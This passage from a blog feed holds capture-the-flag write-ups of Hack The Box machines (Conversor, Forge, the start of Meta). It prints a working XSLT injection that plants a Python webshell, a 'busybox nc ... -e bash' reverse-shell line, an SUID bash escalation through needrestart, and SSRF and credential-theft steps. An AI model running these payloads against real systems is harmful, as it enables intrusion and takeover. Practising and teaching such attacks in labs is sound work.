&lt;pre&gt;&lt;code&gt;Scope:
10.10.11.92
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sC -sV -sT -p- -vvvv -T5 --min-rate=5000 -Pn conversor.htb 

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack Apache httpd 2.4.52
| http-title: Login
|_Requested resource was /login
| http-methods: 
|_  Supported Methods: GET HEAD OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;PasswordProtect client:load&amp;gt;&lt;/p&gt;
&lt;h2&gt;80/TCP - HTTP&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9213cb221db415e9702fe335600aef52.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Using default &lt;code&gt;admin - admin&lt;/code&gt; credentials I was able to log in:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a934b1d5a33a63f5e6ffd123440a8be7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We notice that it&apos;s some sort of &lt;strong&gt;File Upload Attack&lt;/strong&gt; involving &lt;code&gt;xml&lt;/code&gt; and &lt;code&gt;xslt&lt;/code&gt; files.&lt;/p&gt;
&lt;p&gt;I also noticed the JWT session cookie:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f8cb264ab4ea771e6dc9d447f8672b84.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0923aa7b2b342e6d09b1f858cca8746f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Before diving deeper into it I did a directory enum first:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e78f3e6e026975d1f6d56d57791b169a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I went over to the &lt;code&gt;/about&lt;/code&gt; page:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/fc4e8a1c306edca4d580e4f56f82e552.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I downloaded the source code and took a look at it:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3c438b9694476eca955e03a1adc4c59f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;What was odd is that the &lt;em&gt;password&lt;/em&gt; field was just being saved as &lt;code&gt;TEXT&lt;/code&gt; in the &lt;code&gt;users.db&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/67c491a793009405f5aff0f1c692437b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Source Code analysis&lt;/h3&gt;
&lt;p&gt;By skimming through the source code we find that the backend is running on &lt;strong&gt;Flask&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/25d9f3968303f2bd9a39d7df20db4fa5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We find multiple interesting finds like the &lt;code&gt;app.secret.key&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/806e888ae82611002a2544607e164eb3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;DB_PATH&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ff655da92ba759f1ea4f19725c85b882.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Further down we see the &lt;code&gt;/login&lt;/code&gt; page functionality:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/975f452dc6d757ec81b83d8bb835b7ce.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Lastly we find the &lt;code&gt;/convert&lt;/code&gt; logic as well as how to view the files:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3c4ce76dcb9bb3bdb4307b34edc1de43.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;XXE - FAIL&lt;/h3&gt;
&lt;p&gt;So I went ahead and tested the upload functionality:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/641f6d32ebc8e8bffba4b3328ba12bca.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b20e2ac8552a420923291ef39b2f40cc.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then went ahead and uploaded this together with the sample &lt;code&gt;xslt&lt;/code&gt; file:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/78304de9ce7dac4864b1224cfac7af8f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/fcb0ab16dee98fefc6d0b4a94ae57ea7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;So naturally I tried to achieve &lt;strong&gt;Local File Read&lt;/strong&gt; by using the following files:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/935f8e13da883ee5a8bcb148eed2942c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This however gave me the following error:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/de96043941612845428438f2412c54dd.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Unfortunately this didn&apos;t work so I had to look further.&lt;/p&gt;
&lt;h3&gt;XSLT Injection&lt;/h3&gt;
&lt;p&gt;I then referred to the &lt;a href=&quot;https://swisskyrepo.github.io/PayloadsAllTheThings/XSLT%20Injection/#write-files-with-exslt-extension&quot;&gt;following repo&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e5af6db592ceab49b39894467ec310e1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/951c8689112942d323fcf13887756efc.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Checking out the &lt;code&gt;install.md&lt;/code&gt; file which is already present in the source code we find this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0368ca78373b31ba9832ae4a7339dc64.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;That means that we now know the path to write to.&lt;/p&gt;
&lt;h1&gt;Exploitation&lt;/h1&gt;
&lt;h2&gt;RCE as www-data&lt;/h2&gt;
&lt;p&gt;I tried many payloads but in the end none worked. So instead I opted for uploading a webshell first:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Upload &lt;code&gt;webshell.xslt&lt;/code&gt;:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;
&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;
&amp;lt;xsl:stylesheet
  xmlns:xsl=&quot;http://www.w3.org/1999/XSL/Transform&quot;
  xmlns:exsl=&quot;http://exslt.org/common&quot;
  extension-element-prefixes=&quot;exsl&quot;
  version=&quot;1.0&quot;&amp;gt;
  &amp;lt;xsl:template match=&quot;/&quot;&amp;gt;
    &amp;lt;exsl:document href=&quot;/var/www/conversor.htb/scripts/shell.py&quot; method=&quot;text&quot;&amp;gt;&amp;lt;![CDATA[#!/usr/bin/env python3
# Cron-driven webshell runner
# - reads /var/www/conversor.htb/static/cmd.txt
# - executes its contents (shell)
# - writes output to /var/www/conversor.htb/static/out.txt
# - clears cmd.txt to avoid re-run

import os, subprocess, traceback, time

CMD_FILE = &quot;/var/www/conversor.htb/static/cmd.txt&quot;
OUT_FILE = &quot;/var/www/conversor.htb/static/out.txt&quot;
TMP_FILE = &quot;/tmp/shell_runner_tmp&quot;

def write_out(data_bytes):
    try:
        with open(OUT_FILE, &quot;wb&quot;) as f:
            f.write(data_bytes)
    except Exception as e:
        try:
            with open(OUT_FILE, &quot;wb&quot;) as f:
                f.write(str(e).encode())
        except:
            pass

try:
    if os.path.exists(CMD_FILE):
        # read command (strip leading/trailing whitespace)
        try:
            with open(CMD_FILE, &quot;r&quot;) as f:
                cmd = f.read().strip()
        except:
            cmd = &quot;&quot;
        if cmd:
            try:
                # run command via shell so pipes/etc. work
                p = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
                out, _ = p.communicate(timeout=60)
                if out is None:
                    out = b&apos;&apos;
            except Exception:
                out = traceback.format_exc().encode()
            # write output atomically
            try:
                with open(TMP_FILE, &quot;wb&quot;) as t:
                    t.write(out)
                os.replace(TMP_FILE, OUT_FILE)
            except Exception:
                write_out(out)
            # clear command file to avoid re-execution
            try:
                open(CMD_FILE, &quot;w&quot;).close()
            except:
                pass
except Exception:
    write_out(traceback.format_exc().encode())
]]&amp;gt;&amp;lt;/exsl:document&amp;gt;
    &amp;lt;xsl:text&amp;gt;done-writing-shell&amp;lt;/xsl:text&amp;gt;
  &amp;lt;/xsl:template&amp;gt;
&amp;lt;/xsl:stylesheet&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once that was uploaded I uploaded the following script:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Upload &lt;code&gt;write_cmd.xslt&lt;/code&gt;:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;
&amp;lt;xsl:stylesheet
  xmlns:xsl=&quot;http://www.w3.org/1999/XSL/Transform&quot;
  xmlns:exsl=&quot;http://exslt.org/common&quot;
  extension-element-prefixes=&quot;exsl&quot;
  version=&quot;1.0&quot;&amp;gt;
  &amp;lt;xsl:template match=&quot;/&quot;&amp;gt;
    &amp;lt;exsl:document href=&quot;/var/www/conversor.htb/static/cmd.txt&quot; method=&quot;text&quot;&amp;gt;&amp;lt;![CDATA[id
]]&amp;gt;&amp;lt;/exsl:document&amp;gt;
    &amp;lt;xsl:text&amp;gt;done-writing-cmd&amp;lt;/xsl:text&amp;gt;
  &amp;lt;/xsl:template&amp;gt;
&amp;lt;/xsl:stylesheet&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I then uploaded it and confirmed RCE:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/bdb9e9b32f53d83d0583bbe2343895fa.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Once I confirmed that it worked as I wanted I went ahead and uploaded the final version.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Upload modified version of &lt;code&gt;write_cmd.xslt&lt;/code&gt;:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;
&amp;lt;xsl:stylesheet
  xmlns:xsl=&quot;http://www.w3.org/1999/XSL/Transform&quot;
  xmlns:exsl=&quot;http://exslt.org/common&quot;
  extension-element-prefixes=&quot;exsl&quot;
  version=&quot;1.0&quot;&amp;gt;
  &amp;lt;xsl:template match=&quot;/&quot;&amp;gt;
    &amp;lt;exsl:document href=&quot;/var/www/conversor.htb/static/cmd.txt&quot; method=&quot;text&quot;&amp;gt;&amp;lt;![CDATA[busybox nc 10.10.14.3 443 -e bash
]]&amp;gt;&amp;lt;/exsl:document&amp;gt;
    &amp;lt;xsl:text&amp;gt;done-writing-cmd&amp;lt;/xsl:text&amp;gt;
  &amp;lt;/xsl:template&amp;gt;
&amp;lt;/xsl:stylesheet&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After a short while I got a hit:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/132fa611562e67c24ac6904c06d282a4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Once I was in I checked the present users:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8ff35e2ba519c312e1c60efe347bf3bf.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Enumeration&lt;/h2&gt;
&lt;p&gt;I started checking out the directory I landed in and found a populated &lt;code&gt;users.db&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/af07bd9d4962b2814d8246dc639b8d34.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This is an easily crackable &lt;code&gt;md5&lt;/code&gt; hash:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/32426107b9481f6fff9fd882dfc8e81d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;SSH as fismathack&lt;/h2&gt;
&lt;p&gt;Using the found creds I logged in via &lt;code&gt;ssh&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fismathack
Keepmesafeandwarm
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4efcdf71a87d7a951f376ffa3f129864.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;user.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d5f73158f0e6a6ccba2cc7d043765f68.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;needrestart&lt;/h2&gt;
&lt;p&gt;Using &lt;code&gt;sudo -l&lt;/code&gt; I found this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d683c20e00885de6d5ee1579faca3d27.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I wasn&apos;t familiar with this tool but it seemed to be non-default so I looked it up:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d981f21ca5d62147b25a36ec20dd9060.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I started checking it out and it turns out we can execute files using the &lt;code&gt;-c&lt;/code&gt; flag.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/be6666632cc0cca5553e4ff9ec389229.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Since we can do this as &lt;em&gt;root&lt;/em&gt; we can easily escalate privs.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo &apos;system(&quot;chmod +s /bin/bash&quot;);&apos; &amp;gt; root.sh
sudo /usr/sbin/needrestart -c root.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/50ec901343bf8be6fb6087e6a54a4c99.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;root.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/47fb6ea40eaefefb517d520e1a9630b7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b60895e06924cca63e43c5cc06c5594c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&amp;lt;/PasswordProtect&amp;gt;&lt;/p&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-Forge</title><link>https://maxk9999.vercel.app/posts/forge</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/forge</guid><pubDate>Mon, 27 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;hr /&gt;
&lt;pre&gt;&lt;code&gt;Scope:
10.10.11.111
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sC -sV -sT -p- -vvvv -T5 --min-rate=5000 -Pn forge.htb

PORT   STATE    SERVICE REASON      VERSION
22/tcp open     ssh     syn-ack     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open     http    syn-ack     Apache httpd 2.4.41
|_http-title: Gallery
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-methods: 
|_  Supported Methods: OPTIONS GET HEAD
Service Info: Host: 10.10.11.111; OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;80/TCP - HTTP&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/aaafdef1a75125bf12d03bcdf39bf94a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We can directly upload an image:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/bc72ac2725b43f5120afb6930bed321f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/15ffd99ae14160edd7674e4f7e168b35.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9b14e5c4713d2ef4849226f71a4fcfbd.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/30ec040fe40e47f8b3387c7a194a6d2d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I tried to include the &lt;code&gt;/etc/passwd&lt;/code&gt; file but got this response:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6593c14582774aff09efbd19954e9bfd.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This appears to be a &lt;strong&gt;SSRF&lt;/strong&gt; vulnerability rather than a &lt;strong&gt;File Upload&lt;/strong&gt; one, let&apos;s test it out.&lt;/p&gt;
&lt;h3&gt;SSRF&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6b805619a28ed73fb56c8e1f671265c1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/bc4129274897fcf6802c95e5d354a61b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I notice that it shows &lt;code&gt;python&lt;/code&gt; as the &lt;code&gt;User-Agent&lt;/code&gt; meaning it&apos;s probably either &lt;strong&gt;Flask&lt;/strong&gt; or &lt;strong&gt;Django&lt;/strong&gt; running the application.&lt;/p&gt;
&lt;p&gt;I analysed the request further:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4ae70fd4623370f1c5eaccbe43cb73b8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I tried reading files but it&apos;s not supported:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2e571cab9198176abfe6db28e748990d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then tested the following method:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ae3bcb4f83384d7e7da0475a3f68af76.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/afb94d6c8b567e21b070969fa9c4564a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;However when I tested this one I got a different response:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/165f5eec60c28181bb4534c131f09da7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b77d38e9f593ea9718f5fe9ae9890b88.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I tried to enumerate open ports this way to see whether there were any other open ones but got none other than &lt;code&gt;80&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ffuf -w ./ports.txt -u http://forge.htb/upload -X POST -H &quot;Content-Type: application/x-www-form-urlencoded&quot; -d &quot;url=http://0:FUZZ&amp;amp;remote=1&quot; -fr &apos;An error occured!&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7520799604b4a6cacbdccf3aa5891117.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Anyhow, instead I used the following technique to bypass the &lt;code&gt;localhost&lt;/code&gt; checker:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/72c4d249f3d4c05fd6f8c13228e6ae6e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;By simply adding one uppercase letter we were able to successfully bypass it:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/98a76b583803978471f45ebabfabf4bc.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/60a098cd33e606cbf8083bdb16f5068c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We are able to retrieve the &lt;code&gt;index&lt;/code&gt; page that the webserver is hosting. Problem is though that I still am unable to fetch any other files, so it&apos;s time to continue our enumeration.&lt;/p&gt;
&lt;h3&gt;admin.forge.htb&lt;/h3&gt;
&lt;p&gt;Using &lt;code&gt;ffuf&lt;/code&gt; I found the &lt;code&gt;admin&lt;/code&gt; vhost:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/063a2533274dce1af8334443fe2cd66f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5816de31d3ec980714474b528529f73c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/acfce6db80ca2eb0ccc3978933c2b45c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And now I understand where the &lt;strong&gt;SSRF&lt;/strong&gt; part comes in.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4b158dd7c3e439e130d9ffe46fe2bc5d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/51e00ace33776246a46c33231b2a1576.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/48d97ea4806cc829e17110ea8a705906.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then checked the &lt;code&gt;/announcements&lt;/code&gt; endpoint using the same technique:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e98cc4c7cb18f484e6a11492611bf488.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;user
heightofsecurity123!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We get a set of creds, as well as more info about the &lt;code&gt;/upload&lt;/code&gt; endpoint.&lt;/p&gt;
&lt;p&gt;Combining the information we&apos;ve gathered we can go ahead fetch everything that&apos;s inside the &lt;code&gt;ftp&lt;/code&gt; server:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/89c3747848a4df3fac7d41f69fde814a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/73da0e04b0aa9765ed625b521b4f8e31.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;user.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/490ca1f8bbc3ae412cbe5b913ccb0292.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/006ec96710e2348ce1d2df6bf7b62f8c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;h2&gt;Shell as user&lt;/h2&gt;
&lt;h3&gt;Fetching id_rsa&lt;/h3&gt;
&lt;p&gt;Since we were able to read the &lt;code&gt;user.txt&lt;/code&gt; file it&apos;s &lt;em&gt;HIGHLY LIKELY&lt;/em&gt; that the &lt;code&gt;ftp&lt;/code&gt; directory is inside the user&apos;s &lt;code&gt;/home&lt;/code&gt; directory. Let&apos;s try to fetch the &lt;code&gt;ssh&lt;/code&gt; &lt;code&gt;id_rsa&lt;/code&gt; key.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1489e36c4b2f5b1cf35539d1b8619193.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/114b311b934151ed495b2c201ff96bb3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;In order to understand whom the key belonged to I read the &lt;code&gt;/etc/passwd&lt;/code&gt; file:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4a478aa0cf852345436b2ca7c89f57ac.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b968ec094d869d45a4da6334c4dfba08.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I thus captured the &lt;code&gt;id_rsa&lt;/code&gt; and logged in with it:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9af74584427e0511a0c4dec4dff5563f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6d744f43bb0a1b1e351090f40987ceba.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;remote-manage&lt;/h2&gt;
&lt;p&gt;Using &lt;code&gt;sudo -l&lt;/code&gt; I found out that I could run the following binary as &lt;em&gt;root&lt;/em&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e72d57a7fc4e8c9bad3eda3c87424128.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/bb5ff564f9ae7f7463247119b2a23e49.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Exploitation&lt;/h3&gt;
&lt;p&gt;I went ahead and tried it out:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b0913689c08fe1427b2cf5ff6f2f5ed3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;From another terminal I was able to execute some commands:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0a5a710c5ec7afb24629309eb8d84c4a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The way to exploit this is by sending &lt;em&gt;any&lt;/em&gt; input that isn&apos;t an &lt;code&gt;int&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/38e25d38749f895f74b9b9640b7ffef3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Back in the first terminal we notice:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d368035f222b247ed1d9cbee6e40d816.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We can then use the following command to spawn a &lt;em&gt;root&lt;/em&gt; shell:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/59787c3a8d64ce97f686b5fd7d71fcbd.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::tldr
When the exception is caught, the code explicitly calls &lt;code&gt;pdb.post_mortem(e.__traceback__)&lt;/code&gt;. &lt;code&gt;post_mortem()&lt;/code&gt; receives the traceback object (&lt;code&gt;e.__traceback__&lt;/code&gt;) and starts &lt;code&gt;pdb&lt;/code&gt; positioned at the point of the exception. That gives you an interactive &lt;code&gt;(Pdb)&lt;/code&gt; prompt in the terminal where the root process was started (the terminal running &lt;code&gt;sudo /usr/bin/python3 /opt/remote-manage.py&lt;/code&gt;).
:::&lt;/p&gt;
&lt;h3&gt;root.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0358d276ee18dc14a4982b961e223477.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/bbd0f5c43b41ba80fe737fc218b252ae.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-Meta</title><link>https://maxk9999.vercel.app/posts/meta</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/meta</guid><pubDate>Mon, 27 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;Scope:
10.10.11.140
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;
PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open  http    syn-ack Apache httpd
|_http-title: Did not follow redirect to http://artcorp.htb
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/83941b8653e088fcdc142e0da3d2655e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;80/TCP - HTTP&lt;/h2&gt;
